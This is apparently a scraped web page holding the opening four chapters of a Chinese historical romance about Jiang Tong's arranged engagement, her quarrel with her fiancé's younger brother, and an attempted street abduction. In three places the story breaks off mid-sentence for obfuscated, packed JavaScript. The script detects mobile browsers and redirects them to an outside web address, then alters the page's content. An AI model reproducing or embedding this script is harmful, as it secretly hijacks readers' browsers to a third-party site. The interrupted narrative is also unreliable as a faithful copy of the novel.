《我那么大一个青梅呢？！》 1. 婚约 暮春午后，花暖日明。位于长兴街尾的姜家宅院，刚刚结束了一场热闹宴席。 眼见来客的最后一辆马车消失在长街尽头，站在门口的姜彤匆忙转身，将爹爹辛柏杰连拉带哄至内宅偏厅。 进了屋，她也不管桌上的剩茶残点，关上门着急地问：“爹，今日徐家怎么突然来为元卿哥提亲了？！” 辛柏杰走到偏厅上首的黄花梨圈椅前，一屁股坐下：“这有什么突然的，男大当婚女大当嫁，正逢你今日及笄，以后就是个大姑娘了。两家一通气，这不就提出来了嘛！” 说着，他拾起桌上半盏凉茶一口饮尽，很快又反应过来，抬头紧张地问：“怎么，难道你不愿意？” 姜彤无奈叹气。今日是她十六岁生辰，家里请了些亲朋好友来为她庆祝热闹，却没想到，午间宴席上长辈们突然聊起了她的婚事。 她原本当作亲人间开玩笑，说了几句话应付。结果众人打趣间，住在她家隔壁的徐家长辈和她爹你一言我一语，直接当着她的面把婚约定下了！ 她跟着坐到姜柏杰身边，探身严肃地问：“这婚约是您去徐家提的吗？” 午宴上爹爹和徐家二老一唱一和，显然背地里悄悄商量过。 辛柏杰以为女儿不满，放下茶杯连忙解释：“闺女，这门亲事我认真看过了，也想过了。他们徐家是翰林之家，家中人口简单，你嫁过去，必定不会发愁生计。再者，咱们两家是多年的邻居，你也知道徐夫人性子温婉，必定不会做那恶婆婆为难你。还有徐元卿那个小子，虽然大你七岁，但年纪轻轻已经有了功名，前途不可限量，你就放心吧！” 姜彤无语：“阿爹，正是如此，我才觉得不合适。” 两人口中的徐家，是翰林院侍读学士徐务微家。正如她爹所言，徐伯父是文显年间的进士，徐伯母是前朝大儒的侄女，徐家祖籍四川，是世代相传的书香门第，底蕴深厚。 而她今日定下的婚约对象，徐家长子徐元卿，也是秉承祖训读书有成。他不仅姿容出众，品行端方，且少年时便中了举，今春更是以弱冠之龄入闱，被天子朱笔钦点为探花郎。 单看徐家的条件，这门亲事不可谓不好——但是，自古婚姻嫁娶，都讲究一个门当户对，徐家再好，也要结合姜家的条件来看。 姜家祖上是平民，到了她爹爹姜柏杰，便去考了个武举。后逢逆王谋乱，姜柏杰立了功，被调入军营当了十多年的百户。直到去年，被提拔为从五品军器局监造。 换句话讲，她爹是名实打实的武官。 而她娘亲，在她年幼时便已去世。这么多年来，姜家只有她和爹爹相依为命。 姜彤再怎么不经事，也知道京城里的清贵人家娶妻时看门第、择贤德的讲究。无论怎么看，姜彤都够不上徐家媳妇的标准。 眼下没有外人，父女俩间也没什么隔阂，姜彤便把这些悉数讲给他听。 换来姜柏杰一声长叹。 “闺女呀，”姜柏杰伸出大手，隔着椅靠小心摸了摸她今日新妆点的云鬓宝钗，目光百感交集，“我知道，你娘走得早，我过去公务又忙，总顾不到家里，害你受了不少委屈。” “你性子要强，越是如此，越逼着自己懂事。可怜别人家孩子都无忧无虑玩耍，你却总是害怕给我惹麻烦，明明是我姜柏杰的女儿，却整天谨小慎微的。” 他脸上都是疼惜：“你听爹的，爹已经为你考虑好了，咱什么都不要想，接下来就待在家里，安心备嫁，好不好？” 姜彤双唇微抿。 姜柏杰说的是她小时候。那几年她娘刚去世，附近同龄的孩子看她没人撑腰，三天两头欺负她，什么难听的话都有。 有一次爹爹碰见了，给了那群人一顿教训，又开始教姜彤武功，她学会了保护自己，就再也不怕那些人。 但其实，还有一层原因。她爹年轻时跑江湖，讲究一个义字当头。后来哪怕做了官，处理的也都是实务，最不擅长那些官僚之间的交际应酬。 要不然，也不会一干百户十几年，直到去年才挪了下位置。 爹爹性格豪爽粗犷，有时候做事不会想那么细，所以姜彤自小学会理事。无论遇到什么，她来斟酌，帮他多考虑一些，如此姜家才能在京城这种复杂的漩涡里生存下来，过好自己的日子。 眼下也是这样。姜彤按着她爹的手臂，认真地劝：“爹爹，不是我多想。若是搁在以前，这事也就算了，如今徐家父子双翰林，元卿哥还是一甲探花，天子面前的红人，将来的内阁之选，咱们姜家小门小户，真的高攀不起。” 显然这话姜柏杰不爱听：“进士怎么了，探花又怎么了？自古多少状元探花都是寒门子，娶的老婆也都是寻常人家的女儿，难道一朝得势就要弃之不顾了？”他说着就气，抬手戳姜彤的脑门，“你说你，我让你从小读书，是为了让你去学大道理，你怎么能如此看轻自己！” “爹爹！”姜彤连忙后仰避过，“我不是这个意思！” 她感觉她跟自己爹好像根本说不到一路上。明明她想强调齐大非偶，她爹却觉得她不争气。 她思来想去，决定换个角度。正好姜柏杰手边的茶盏已经见底了，姜彤起身提壶，重新斟上茶，再端到他面前：“您听我说，开春来您一直忙，可能没注意过，这两月咱们长兴街来过不少贵人的马车。” 辛柏杰接过，不以为意：“长兴坊一带住了不少官眷，有几辆马车往来不是很正常嘛。” 姜彤坐下来：“并非如此。他们隔三差五来一趟，都是来徐家送礼的。我听说，已经有不少勋贵世家看上了徐家哥哥，争相招揽他为婿。光是我知道的，就有康福长公主府、武英侯府和姚阁老家三家……” “哦，你说的这事啊。”她正要继续往下说，却见姜柏杰大手一挥，“这事我也听过，你不用怕。当初商讨婚事的时候，徐大人已经说过了，徐家不是那等趋炎附势之辈，更不会拿孩子的终身大事去谋取什么利益。徐家既然诚心来求，这等麻烦事，就让他们自己解决去，大不了咱就不嫁了，爹再去给你找一个！” 姜柏杰说着就当姜彤的面夸下海口，说万一真的出了岔子，必定会找个比徐元卿更优秀的人出来云云。而这厢，姜彤听出了话音：“爹，您是说，这婚事是徐家提的？” “是啊。” “可是……为什么？”她惊讶地站起身，“好端端的……” “哎呀，就不能是喜欢你这孩子嘛？”姜柏杰被女儿折磨得不是办法，边说边起身，“别说一门婚事了，哪怕天塌下来，有爹为你撑着。好了，今天忙了一天，你也累了，赶紧回房好好休息吧。这屋里乱糟糟的，我去叫人来收拾收拾……” 话没说完，人已经开门溜了出去，三步两步消失了踪影。 姜彤连唤了好几声都没能把人留住，最后垂下肩，坐回到椅子上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920795|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她其实还有一个问题想问： 这门婚事，徐元卿本人愿意吗？ - 是夜，星稀月明。 姜彤洗漱了番，换上平日所穿的素色衣裳，在房间里整理白日长辈亲朋赠她的礼物。 片刻后，她拿起一块合鸾缠枝暖白玉佩，搁在掌心细细地看。 这是徐伯母午宴上给她的，说是徐家的定亲信物。 看了会儿，她叹了口气。 许是因为事情发生太过突然，所以她才一时无法接受。 这么多年，姜徐两家来往亲厚，长辈们想亲上加亲，其实是再合理不过的事情，容不得她置喙。 而徐元卿，更是打着灯笼也难找的人。 以她的身份，没什么好多嘴的。 姜彤低头默默发了会呆，不知何时，窗棂两声轻响，似乎有人在拿石子砸窗。 她起身开窗。 姜宅仆从不多，姜彤也没有让丫鬟服侍的习惯，此刻她住的小院静悄悄的。不过须臾，墙那头冒出一颗头来，黑亮双眸眨巴眨巴往她这里瞅。 ——是徐少衡，隔壁徐宅的小公子，亦是徐元卿的亲弟弟。 姜彤看见他，啪的一声将窗户关上。 这家伙也是徐家人，不过与他的父兄截然相反。明明是翰林之子，却从小不爱读书，整日调皮捣蛋，闹得家宅不宁，连姜家也屡屡受波及。 当初她家和徐家之所以结识，就是因为三岁的徐少衡随徐夫人进京，贪玩河水掉入护城河中，被她爹救下。 后来徐家买了姜家隔壁的院子，没两年，徐少衡爬墙逃学，恰好见到她爹在院里为她演练刀法。徐家因此又鸡飞狗跳一番，数日后徐伯父提着小儿子后脖领上门，老泪纵横求她爹收留徐少衡为徒。 她爹想着教一个是教，教两个也是教，爽快答应。 徐家统共两兄弟，若说徐元卿是人人钦羡的天才郎君，那么徐少衡就是猫嫌狗憎的纨绔少爷。 眼下这位纨绔少爷不知又起了什么兴头，大晚上不好好休息，在外面乱跑。 姜彤直觉他又要惹祸，对他避之不及，但不过片刻，房间的门栓动了，还没等姜彤上前关紧，一道蓝色身影轻车熟路从门缝里钻进来。 甫一站定，少年就出声质问：“今日的婚约到底是怎么回事？” 姜彤额头青筋直跳。少年仍然穿着白日打眼的宝蓝如意纹圆领锦袍，头上束着同色宝蓝发带，就这么大喇喇站在她房中。 原本他长相肖母，眉眼秀丽，穿上这一身，更加显得人唇红齿白，神采飞扬，任谁都要称赞一声“好个翩翩美少年”。 只可惜一说起话，就让人忍不住想挥拳头。 她推着徐少衡的肩把人往外赶：“大晚上的你来干什么？不怕我爹看见了？赶紧回去！” 徐少衡泥鳅般滑过她的手，旋身绕到她背后，边躲边道：“我不！你跟我讲清楚，明明之前还好好的，怎么突然就跟徐元卿定了亲？” “那是你兄长！”她见徐少衡耍起无赖，放弃跟他较劲，“再说了，这是我能决定的吗？我也是今日才知晓！” 徐少衡闻言松了口气：“那就好。”他停下望了姜彤一眼，很快又捏起拳头，恨恨地道，“定是徐元卿那厮不知何时见到你，对你起了歹意，这才不顾你的意愿强令我爹娘提亲。彤娘，咱们去跟师父说，让他退掉婚约吧！师父一定会为你做主的！” 2. 争吵 夜阑人静，只有烛影不停抖动。姜彤听了徐少衡的话，无语地看着他：“白日两家当着众人的面都说好了，怎么可能说取消就取消？” “那我就去求我娘！”徐少衡愤愤不平，“那个徐元卿整日我行我素，真当天底下人都愿意受他摆布……” 姜彤被他吓了一跳，连忙制止：“千万别！一门亲事而已，我嫁就嫁了，你可不要去添乱……” 徐少衡向来是行动派，甩开姜彤的手就要往回走。结果步子没迈出两步，听到姜彤后面的话，不可置信地回头：“彤娘，你说什么？！” “我说……一门亲事而已，嫁就嫁了啊，”姜彤对上少年圆睁的双目，不解，“怎么了？” “我不同意！”少年激动地转身，一把抓住她衣角，“你忘了他素日是怎么对我的吗！我不许你和他成亲！” 姜彤：“……” 她确实忘了，这家伙从小被娇惯长大，总觉得别人事事都该依着他、向着他。尤其是涉及他兄长的事情上，他恨不得所有人都站在他这边，与徐元卿划清界限。 往日他仗着和她熟，对她指手画脚的也就算了，如今还要管起她的婚事！ 姜彤内心油然生出一股郁气。 ……但见他那悲愤的模样，她也心知此中情由所在，忍了半天，还是决定劝劝。 她拉了张木凳示意他坐，自己坐到一旁的架子床边，探身认真道：“少衡，你看，咱俩一起长大，对彼此家中也多少都了解。你总念叨元卿哥对你不好，但你这些年做的事，有说服力吗？” 姜彤掰着指头跟他数： “五岁那年，我第一次见到元卿哥，他独自一人院中读书。你在我耳边说，小时候他推你下水，害你大病一场。我那时信了，对他一点好颜色也没有。但后来徐伯母告诉我，你是自己落河受了惊吓，把当时不会凫水还跳下去捞你的元卿哥当成害你的人。徐伯母是你阿娘，她会说谎吗？” "七岁那年，徐伯伯请夫子为你开蒙，你三天两头把人气走，事后又都推到元卿哥身上，说他唆使人苛待你。元卿哥当时也不过十四岁，你觉得你爹从外面请来的夫子，会听他的话吗？” “十二岁那年，元卿哥远赴昌宁书院读书，好不容易过节回来团聚，你却设计将他让梯上跌落，写字的右手受伤，直接耽误了那年会试，以至于拖到今年才春闱中榜。这件事你自己最后也承认了，又如何去责怪他？” 姜彤不说还好，一说徐少衡更气愤了，梗着脖子道：“我告诉过你，我爹娘偏心，眼里只有徐元卿。他做了什么坏事，从来是能遮掩就遮掩，我出了事，他们便不管，我能怎么办？我早就怀疑自己是从外面抱来的！” 姜彤沉默——她怎么觉得正好相反，是徐少衡天天惹祸，徐家二老整日发愁怎么给他善后呢？ 徐少衡没注意姜彤的神色，振振有词：“还有那两个给我启蒙的老头，他们倚老卖老，天天找我茬打我手板，我不也给你看过吗？那时我两只手都红肿了，要不是后来找师父求救，说不定以后要变成残废！” 姜彤不认可：“读书读不好，夫子便会打手板，这是三岁小儿都明白的道理！读书人有谁小时候没挨过手板？就是如此，你才更要发奋自强！” “他们就是有问题！”徐少衡提声犟道。 姜彤闭眼，努力吸了口气，又睁开，“好，那就当他们有问题，对你太严厉了。那么害你兄长跌倒的事怎么说？这是你主动做的吧？你说元卿哥针对你，那你离他远点不就得了？为什么还非要凑上去？” “我那次真不是故意的……”徐少衡焉巴了一下，很快又直起脖子，“事情的前后起因你明明也知道，他从外面一回来，就借口要放他那堆破书烂简霸占了我院后的小楼。我气不过，才在门沿上塞了只假蛇。谁知道他那么胆小，直接吓得跌下了楼梯……而且我爹为此已经打了我三十大板，罚我半年不能出门，都这么多年了，还要我怎样！” 姜彤实在看不惯他找理由：“做错了事就是做错了事，你只当是自己想出口气，却险些毁了你兄长的前程，难道不该为此反省一下吗？” “可我后来再也没动过他了，”少年的声音中也透出委屈，“他是我哥又怎样，我就是不喜欢他，更不想让你嫁给他！” 说来说去又绕回到了婚事上，姜彤扶额：“嫁与不嫁，都是我和他的事吧，你又掺和什么？” 少年顿时被噎住，半天说不出话。 姜彤疑惑地抬眸看他，但少年对上她的目光，瞬时躲开，嘴中支支吾吾，眼珠子左移右闪，就是不敢正眼回看。 姜彤一看他这满脸心虚的样子，估摸着他定是又做了什么亏心事。 但他不说，她心知就算是硬撬也撬不出来，只能抱起胳膊强耐住性子，等他老实交代。 片刻后，徐少衡抿了下红唇，终于张了嘴，眼神却是又一闪，径直看向了她身侧。姜彤顺着他的目光一扫——原来是徐伯母赠她的玉佩，刚才起身时，被她放在了床上。 她还未及说什么，旁边蓝影忽动，闪电般往玉佩扑去。 姜彤本能去拦，化手为刀横劈而下。徐少衡被挡，翻手再攻，她眼都不眨手腕一转，迅速擒住他右臂，反手就是一拧，旋即起身侧步，将他上身死死按在床的另一头。 “哎哟——疼！彤娘！疼疼疼……”徐少衡瞬间便如犯人般被剪手按住，动弹不得，哀声痛呼。 姜彤也动了怒气：“好好说话就说话，你干什么？！” “我娘给的玉佩，我还不能拿来看看了？”徐少衡被迫压在床褥上，却十分嘴硬，“好疼！你快松手！” “你那是拿吗？！你那是抢！”姜彤死死压着他手臂，“而且伯母已经给我了，你有问过我吗？！” “一块破玉佩，有什么好稀罕的！”徐少衡歪着脑袋犹自不服，“再说了，以前你的东西我也是随便拿，你从来不曾说什么，怎么这次就要发火？说到底，还是因为那个徐元卿……” “徐少衡！” 姜彤又急又气，手上下意识便加重了力道，换来徐少衡又一声痛呼。 他努力撇过脸，气冲冲道：“你再不放开我，我明天就去找师父告状！” “告状就告状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920796|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”姜彤也被他提醒，死死将他两手捆住，“正好让我爹看看，他苦心教你功夫，你是怎么拿来学宵小跳墙爬窗的！” 她也想跟他好好算算账。 两人朝夕相处十多年，小时候姜彤知道他身体娇弱，三天两头生病，所以从来事事依着他，不跟他一般见识。 两人一起玩，春天里做纸鸢，秋天里捉蚂蚱，他不喜欢自己的，偏偏要她的，每次她都二话不说让给他。 后来长大了，寒冬酷暑要日日练字习武，他坚持不下去要她帮忙躲懒，她每次都哄着他、拽着他完成功课，免得被大人责罚。 哪怕是他时不时闯祸，被罚关禁闭，她也总是悄悄去看他，给他带点心斋的酥糕、熟食铺的熏鸡，让他不至于那么难熬。 这么多年来，她自认已经对他仁至义尽。 却换来他得寸进尺。 明知那块玉佩贵重，若有损失她担待不起，他还上手去抢，抢不过，还赖在她身上，跟她胡搅蛮缠。 姜彤冷了心，再也不想跟他客气。当下一把抓起徐少衡，束着他的手将他推搡出门外，压着怒气道：“你想找我爹去告状，那就去吧！你也知道今时不同往日，我和你哥有了婚约，请你以后自重，不要三更半夜往我这小女子的房里跑！夜深了，好走不送！” - 翌日。 外面天还黑着，姜彤就起了床。 昨夜徐少衡被她扔出去后拍了半天门，见姜彤始终不理，也生了气，撂下狠话要与她绝交。 饶是姜彤觉得自己有理，也因此翻来覆去整夜没睡好。早起胸中烦闷得不行，抄起刀在自己院子里练了大半时辰，直到挥汗如雨，才好了些。 等出了院子，姜柏杰已经出门去官署。姜彤回屋换洗，穿了一身方便做事的浅茶窄袖长裙，唤来前院管事交代了一番，随即挎了个篮子出门。 她要去城东的益珍药铺。 益珍药铺是她娘亲沈玉珍留下来的铺子。当年沈玉珍病逝，姜柏杰对药材一窍不通，姜彤年纪又小，姜柏杰便做主托付给姜彤的舅舅沈系舟一家。 沈系舟应下此事，但提了个条件，要求姜彤识字以后，每日都得抽出半天去药铺帮忙，为的是让她学习甄别药材，参与药铺的生意，将来顺利接回来。 她走了大半个时辰，直到日头发力才到。此时药铺门前排起了两条队，前堂伙计游刃有余地穿梭在百格柜前挑拣草药，右明间里舅舅沈系舟正坐在半旧的矮木桌后，捏着毛笔小声给病人交代注意事项。 姜彤擦了擦额头上的细汗，招呼一声，掀开柜台侧的草帘去了后院。 院子里堆了不少新进的药材，有伙计正在查验归档搬运。她走到一名伙计身边：“我来吧，舅舅那边没人写方子，你去帮忙。” 记档的伙计闻言点点头，将库房册子交给姜彤，一声不吭走开。 没一会儿，身边一阵风动。姜彤的表妹沈芷从药铺二楼溜下来，凑到她身边： “表姐，今天一大早，有几个陌生人跑来咱们铺子外打量，鬼鬼祟祟的。我怀疑和你昨天定亲的徐家有关。” 3. 劫持 姜彤提笔的手一顿，偏头问沈芷：“怎么说？” 沈芷小声道：“一共来了两拨人，衣着虽然普通，走路的姿势却一看就是大户人家的仆从。进来之后也不瞧病，就四处瞄，跟前堂小赵打听咱家铺子开了多少年，大夫是雇来的还是本家的，有一个还想趁我们不注意进后院打探，被小赵撵走了。” 听起来跟以往别家药铺派来的探子没什么两样。姜彤问：“你怎么知道跟徐家有关？” 沈芷冲着她得意一笑：“当然是我聪明呗！” 沈芷张嘴就要往下讲，姜彤一看周围人多口杂，连忙拉住她，示意待会再说。 她加快速度将药材归档完毕，拉着沈芷上到药铺二楼的休息间，让沈芷好好说说到底是怎么回事。 沈芷关门坐到方桌前，一手搭着桌案，继续道： “第一波人我不知道，是小赵跟我说的。不过第二波人来的时候，我正巧背药典渴了下楼喝水，一下楼梯就看到两个人鬼鬼祟祟的，就过去看了看。” 她边说边比划：“你不知道，那两个人看着二十来岁，却面白无须，声音尖细。哪怕他们尽力掩饰，但咱们药铺的人是干什么的，我是学什么的，一眼就看出来了！” “你是说，他们是……”姜彤用嘴型无声吐出了“阉人”两个字。 沈芷连连点头，“上月我去找你，不是跟你说，路上碰到两伙驾着马车的豪奴互相呛嘴嘛，其中一伙就是他们这样的。我当时在旁边听了几句，听他们说起什么姚大人、什么公主府，互相阴阳怪气的。后来那个什么姚大人家的马车离开了，我就跟着公主府的马车后头一路走，眼睁睁看着他们进了徐家的门！” 姜彤思索着沈芷听到的话，道：“我听我爹说，皇宫里管制严格，所有侍监无令不得外出，更不能到处闲逛。不过，京城除了皇宫，公主府里确实也有这样的人，行事也自由得多。” 但即使这样，也不能证明沈芷两次见到的人是同一伙。 沈芷看出了姜彤的迟疑，连忙道：“表姐，你不知道，早上那些人来之后，一不打听咱家药材，二不询问我爹本事，就卯着劲地查问铺子情况，问铺子是租来的还是买来的，问我爹是怎么到这里的，问小赵是学徒还是纯干活的，一看就没安好心。” “我上前问他们想干什么，他们一看到我，更感兴趣，问我年龄多大，家中有谁，跟药铺主人是什么关系，跟审犯人一样，我不理他们，他们居然还拿起架子，说我无礼！最后是爹爹过来解围，让我进后院，这才罢休。” “表姐，你昨天才定下亲事，他们今日就寻到了铺子里，看我跟你年龄相近，就一个劲审我。你说，这不跟徐家的亲事相关，又能是什么原因？” 说到这里，她气呼呼的：“他们一定是在打探你的消息，找办法逼你主动退亲！” 姜彤温言安慰了沈芷几句。 其实从昨日定下婚约开始，她就猜测自己会面临这种境况，只不过没想到他们来得这么快。 正如她昨日跟爹爹所讲，自开春来，徐元卿会试榜上有名，就有不少世家显贵注意上了徐元卿。这两个月徐家多了好些热闹，长兴街的邻里街坊成日跟着一起看戏。 而其中，有三家因为地位尊崇，行事高调，是被众人谈论最多的。 一则是坊间传闻，说姚阁老看中了徐元卿的文采，对他极为欣赏，不仅在自家举办的诗会上对徐元卿大加赞扬，还当众暗示，只要他在殿试上名列一甲，便会将他纳为东床快婿，保他仕途坦荡。 一个是康福长公主府，自会试后便开始频繁进出长兴街，打着各种名义给徐家送礼。有人说，康福长公主膝下的爱女正当妙龄，因缘际会看上了徐元卿的品貌，死活都要嫁给他。 再者便是三月新科进士打马游街。彼时万人空巷，京城百姓都簇拥到主街欢呼庆祝。后来不知怎么传出小道消息，说武英侯的嫡女在茶楼上看到红衣乌袍的徐元卿，对他一见倾心，寻机找了个回程的空档，直接策马现身将徐元卿抢回了府里，想要效仿旧俗来个“榜下捉婿”。 住在京城，这种事情并不少见，每隔三年的科举，全大熙朝最优秀的学子都会汇聚于此，种种奇闻佳话层出不穷，最后都成为百姓茶余饭后的谈资。 姜彤不知道那些人都是什么打算，她只想保护她的身边人。 她愿意听爹爹的话接受亲事，但若有显贵逼上门来，她也可以直接示弱退亲。 所以沈芷问她怎么办，姜彤也只是说先不要管，待她查明情况再论不迟。 想了想，她嘱咐沈芷：“你近日就留在家中，哪里都不要去。还有舅舅他们也是，有病患就让他们上门看，守好铺子，等我有消息，再告诉你们。” 沈芷道了声好。 - 姜彤留在铺子里忙了一天。 直到傍晚，斜阳西沉，铺子要关门了，她才往回走。 临近夏日，天黑得晚。京城夜里没有宵禁，不少人推着贩车，挑着单子，往夜市汇聚而去。 姜彤走了两条街，就察觉到身后有人跟踪。 她等的就是这些人，当下默不作声继续往前走。直到走进一条僻静狭窄的街道，前方突然出现两名褐衣短打的壮汉，堵在街口。 那两名壮汉粗眉乱发，一左一右抱着胳膊直直盯着她，明显来意不善。 姜彤顿了顿脚步，转过身，后方也有两名同样粗服壮汉紧跟过来。 她当下左右看了看，这条街道没有商铺，两边都是院墙，中间也没有岔路。 很明显，这里是他们特意挑的地方，而且路被人清过。 就在她察看地形的功夫，街道尽头又走出一名肤色酱黑的中年男人。 这名中年男人一身明棕绸袍，头戴高顶瓦楞帽，一直走到两名壮汉中央才停下。 他两手背在身后，神情倨傲地看着姜彤：“你就是姜柏杰之女？” 姜彤快速看了眼这人，此时天只微微暗，她尚能清楚地看到他下巴上打理过的胡须。 ——不是她料想中的阉人，且身着常服，分辨不出来历。 姜彤犹豫片刻，矮身行礼：“是，敢问阁下如何称呼？” “我如何称呼你不必知道。”中年男子充满审视地打量她，“我家小主人要寻你说些话，跟我们走！”说着就要转身离开。 姜彤站在原地不动：“阁下不道明来历，请恕小女不便跟随！” “你！”中年男子没想到自己会被顶撞，怒气冲冲回头，随即看了她一眼，声音中带上嘲讽，“想知道我们是谁，你还没那个资格。” “阁下！”姜彤提声道，“我知道阁下来意为何，若诚心相谈，为何不能道明身份？我就算身份卑微，也是大熙朝的良民，有权决定自己的去留！” 然而，中年男子丝毫不予理睬，他眼神中透出不耐烦，直接朝身边壮汉命令：“将她带走！” 姜彤见状，立刻抽出藏在竹篮里的匕首，翻手一转，背靠墙边大声道：“这里是京城，我爹是为朝廷效力的武官，你们敢对我动手，就不怕受律法惩戒吗？！” 此话道出，在场之人依然神色未动半分。四名壮汉呈前后合围之势，快速朝她逼近！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920797|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们一言不发，步调却整齐划一，一看就是平日训练有素，不是一般的打手！ 姜彤飞速扫过四人，捏紧了匕首，正待动手，忽然—— “青天化日，是谁在这里当街行凶？” 一道清朗有力的声音自窄街尽头响起，惊得所有人瞬时转过头。 青袍乌帽的青年负手站在街口，长身玉立，修挺如竹。 姜彤下意识唤出声：“元卿哥！” 徐元卿问声朝她看过来，脸色微讶。 而她左方，身着明棕绸袍的中年男子一看到徐元卿，脸色瞬间慌乱了一下，吩咐手下：“撤！” 说完调头便跑。 姜彤原想去追，又想到徐元卿在这里，迈出的脚步硬生生停在半路，最后朝徐元卿走去。 “你怎么在这里？” “你怎么在这里？” 两个人异口同声问。 徐元卿顿了一下，清俊的眉眼染上些许笑意。他看着姜彤走近，解释道：“我刚下值，路上哑奴听到声音，说这里有人作恶，我就过来看看，没想到遇到了你。” 说着，他侧过身，露出身后一名佝偻老奴。那老奴正站在街口的青帷马车旁，见姜彤望向他，无声躬身行礼。 姜彤知道这名老奴。他是徐元卿当初远赴昌宁读书时，路上在洪涝中救下的灾民。徐元卿怜他身患口疾，年弱无依，于是留在自己身边跟随。 姜彤朝哑奴点了点头，转过脸对徐元卿道：“我也正要回去，没成想半路会被人劫持，幸好你出现，他们没来得及动手。” 徐元卿一直看着姜彤，听她这么说，双眉微皱：“他们劫持你做什么？” “不知道。”虽然她心中有猜测，但那伙人并未承认，她也就不想再多事。 徐元卿点了点头，又仔细打量了姜彤一遍，见她神色正常，行动自如，确实没有半分损伤，这才松了口气，对她道： “正好咱们顺路，你就跟我一起回去吧。” - 姜彤随徐元卿上了马车。 徐元卿一贯儒雅沉静，姜彤也不是活泼开朗的性子，两人坐进车厢里，气氛立时变得沉默。 马车一路摇摇晃晃，姜彤侧身坐着，尴尬的情绪渐渐溢上心头。 ——原因无他，她和徐元卿一点都不熟。 在她印象里，自徐家搬到她家隔壁，少时的徐元卿便一心读书，深居简出。 后来年岁渐长，他又常年外出游学，一年都难见得到几面。 一直以来，他就是个让她引以为傲的，住在邻家的天才兄长而已。 如今两人却多了一层身份。 姜彤一点都不适应。 为了缓解这种不适应，姜彤掀开帘子，去看马车外一路的风景。 她不知是不是自己敏感，越是这样，越觉得有道目光似有似无落在她背上，让她浑身不自在。 马蹄嘚嘚作响，他们一路经过喧哗热闹的酒家食肆，经过整洁僻静的窄街民巷，直至快到达长兴街，徐元卿突然出声：“哑奴，先停一下。” 姜彤手一颤，帷帘落下，遮住了外面仅存不多的光线。 车厢顿时暗下来。 而这时，马车外传来衣料摩挲，哑奴也跳下车架，随即脚步声走远。 姜彤脊背渐渐发紧。她想了想，转过身看向徐元卿。 幽暗狭小的车厢里，徐元卿也正注视着姜彤，见她转过身来，微微一笑，对她道：“关于咱们之间的婚约，我有些话想跟你聊聊，你方便吗？” “……方便。”她听见自己道。 4. 演戏 傍黑之际，马车停在一处僻静的街道上，哑奴守在里侧街口，另一侧则是河岸，周围悄无人声。 姜彤正在思索徐元卿会说些什么，不想他突然问：“阿彤，你如今有没有心上人？” 姜彤倏然怔住，望着他，一时之间不知如何作答。 双颊也不受控制地烫起来。 “你问这个做什么？”她问。 昏暗的车厢中，徐元卿的身影一动不动，声音冷静：“你别误会，过去咱们接触的少，我对你不甚了解，今日也只是想商议一些事情。” 他看出姜彤不想回答，换了个问题：“或者你也可以说说对如今朝堂时局有多少了解。” “……”姜彤心头更加迷惑。 这简直是八竿子都打不着边的两件事。如果是前者，她可能还觉得他是对婚约有所担心，但后者……这话题跳跃幅度也太大了。 姜彤犹豫半天，答道：“我了解的不多，只知三年前先帝驾崩，膝下皇子以稚龄登基，太后垂帘听政。如今天子尚年幼，朝中大小事皆由太后和内阁共同主持裁决。” 她答得规矩，实际上知道的不止这些。 三年前，先帝突发疾病，榻前指定了即位人选便撒手而去，给大熙留下一个巨大的烂摊子—— 一则，当今天子是先帝仅存的儿子，继承大统的唯一人选，且当时只有八岁。听说被大臣牵出来的时候，连话都说不清楚。天子的母妃在当时也只是一个平民秀女出身的普通妃嫔，母子俩无依无靠，引得许多人动了心思，以至于新皇登基头一年，朝廷之中日日血雨腥风不断，朝廷政局险些溃于一旦。 直到次年末，位处黔贵的藩王起兵谋乱，太后将自己的亲妹妹许配给行伍出身的武英侯为继妻，又为兄长之子指婚郑国公嫡女，指派二人急兵前去镇压。随后西南战乱平复，太后才顺利在朝中站稳脚跟，拥有了不少话语权。 二则，先帝此人在世时，喜好纵情声乐，正事一概不理会，还偏信宦党。司礼监掌印太监袁详靠着对先帝逢迎谄媚，受先帝宠信十余年，肆意乱权操纵朝政。也是直到去年，太后有了余力，才联合内阁，将袁党一行人多年来的罪责一一揭露，最终将其斗倒。 去年的危急紧张之态，令姜彤至今仍印象深刻——全京城戒严，百姓个个困于家中不得外出，门外到处都是兵甲喧哗之声。后来事情平息，爹爹从官署赶回来，才告诉她，那袁详见自己罪行败露，试图逼宫谋反自立为帝，最后被武英侯当堂斩杀，阉党势力才彻底落败。 事情过去了一年，如今太后和内阁达成默契，共同辅佐天子。朝局渐趋稳定，常年掩盖在大熙朝之上的阴霾逐渐消散，朝野渐渐恢复秩序。 